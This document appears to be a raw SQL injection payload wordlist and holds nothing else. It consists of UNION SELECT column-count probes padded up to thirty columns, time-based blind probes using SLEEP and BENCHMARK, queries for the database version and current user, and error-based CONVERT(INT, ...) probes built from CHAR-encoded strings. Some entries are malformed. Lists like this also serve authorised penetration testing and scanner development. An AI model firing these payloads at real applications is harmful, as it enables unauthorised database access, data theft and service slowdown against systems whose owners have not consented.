 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29-- 
 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- 
 UNION ALL SELECT 1
 UNION ALL SELECT 1,2
 UNION ALL SELECT 1,2,3
 UNION ALL SELECT 1,2,3,4
 UNION ALL SELECT 1,2,3,4,5
 UNION ALL SELECT 1,2,3,4,5,6
 UNION ALL SELECT 1,2,3,4,5,6,7
 UNION ALL SELECT 1,2,3,4,5,6,7,8
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
 UNION ALL SELECT 1#
 UNION ALL SELECT 1,2#
 UNION ALL SELECT 1,2,3#
 UNION ALL SELECT 1,2,3,4#
 UNION ALL SELECT 1,2,3,4,5#
 UNION ALL SELECT 1,2,3,4,5,6#
 UNION ALL SELECT 1,2,3,4,5,6,7#
 UNION ALL SELECT 1,2,3,4,5,6,7,8#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29#
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30#
 UNION ALL SELECT 1-- 
 UNION ALL SELECT 1,2-- 
 UNION ALL SELECT 1,2,3-- 
 UNION ALL SELECT 1,2,3,4-- 
 UNION ALL SELECT 1,2,3,4,5-- 
 UNION ALL SELECT 1,2,3,4,5,6-- 
 UNION ALL SELECT 1,2,3,4,5,6,7-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29-- 
 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- 
 UNION SELECT @@VERSION,SLEEP(5),3
 UNION SELECT @@VERSION,SLEEP(5),USER(),4
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
 UNION SELECT @@VERSION,SLEEP(5),"'3
 UNION SELECT @@VERSION,SLEEP(5),"'3'"#
 UNION SELECT @@VERSION,SLEEP(5),USER(),4#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29#
 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30#
 UNION ALL SELECT USER()-- 
 UNION ALL SELECT SLEEP(5)-- 
 UNION ALL SELECT USER(),SLEEP(5)-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5)-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A'))-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 
 UNION ALL SELECT NULL-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))-- 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))-- 
 UNION ALL SELECT NULL#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))#
